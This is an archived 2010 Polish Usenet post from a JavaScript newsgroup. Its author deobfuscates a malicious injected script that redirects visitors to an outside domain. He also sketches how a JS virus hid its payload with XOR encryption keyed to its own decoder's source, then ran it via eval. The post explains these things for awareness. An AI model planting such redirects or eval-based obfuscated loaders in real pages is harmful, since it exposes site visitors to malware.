🚀 go-pugleaf

RetroBBS NetNews Server

Inspired by RockSolid Light RIP Retro Guy

Article View: pl.comp.lang.javascript
Article #50156

Re: Jak niebezpieczne są skrypty JS...

#50156
From: emil
Date: Fri, 18 Jun 2010 20:40
36 lines
1688 bytes
Po wywaleniu syfu i zastąpieniu regexpów mamy
> <sKript type='text/javascript'>
> function rM()
> {
> };
> rM.prototype = {g : function()
> {
>   t=document.location;
>   function m(p, j)
>   {
>    p.href=j;
>   }
>   m(t, "http:/tiltandgrin.com/z.html");
> }
> };
>   var pM=new rM();
>   pM.g();
> </sKript>
czyli:
document.location = "http:/tiltandgrin.com/z.html"

Btw. ostatnio widziałem wirusa w js, którego kod zaszyfrowany był xorem 
ze znaków stringa z funkcji deszyfrującej. w dużym uproszczeniu 
wyglądało to tak:
x='tablica z zaszyfrowanym kodem'
function decode() {
d='';z=String(decode)
for(i=0;i<x.length;i++) {
d+= String.fromCharCode(x.charCodeAt(i)^z.charCodeAt(z));
}
eval(d);
}

Pozdrawiam
emil
Technical Details
Message-ID: <hvgljt$f62$1@news.onet.pl>
Path: mbox-mo1.pugleaf.net!news-archive.icm.edu.pl!news.icm.edu.pl!news.onet.pl!not-for-mail
References: <hvajut$hbi$1@inews.gazeta.pl> <hvck1p$8dj$1@inews.gazeta.pl> <hvcr5k$3kh$1@inews.gazeta.pl> <hvf41h$t1d$1@inews.gazeta.pl>

Show Full Headers
Complete Article Headers
Path: mbox-mo1.pugleaf.net!news-archive.icm.edu.pl!news.icm.edu.pl!news.onet.pl!not-for-mail
From: emil <emjot@poczta.onet.pl>
Newsgroups: pl.comp.lang.javascript
Subject: Re: Jak niebezpieczne są skrypty JS...
Date: Fri, 18 Jun 2010 22:40:28 +0200
Organization: http://onet.pl
Lines: 36
Message-ID: <hvgljt$f62$1@news.onet.pl>
References: <hvajut$hbi$1@inews.gazeta.pl> <hvck1p$8dj$1@inews.gazeta.pl> <hvcr5k$3kh$1@inews.gazeta.pl> <hvf41h$t1d$1@inews.gazeta.pl>
NNTP-Posting-Host: sj036.multi-play.net.pl
Mime-Version: 1.0
X-Trace: news.onet.pl 1276893629 15554 91.142.194.154 (18 Jun 2010 20:40:29 GMT)
X-Complaints-To: niusy@onet.pl
NNTP-Posting-Date: Fri, 18 Jun 2010 20:40:29 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.9) Gecko/20100423 Thunderbird/3.0.4
In-Reply-To: <hvf41h$t1d$1@inews.gazeta.pl>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit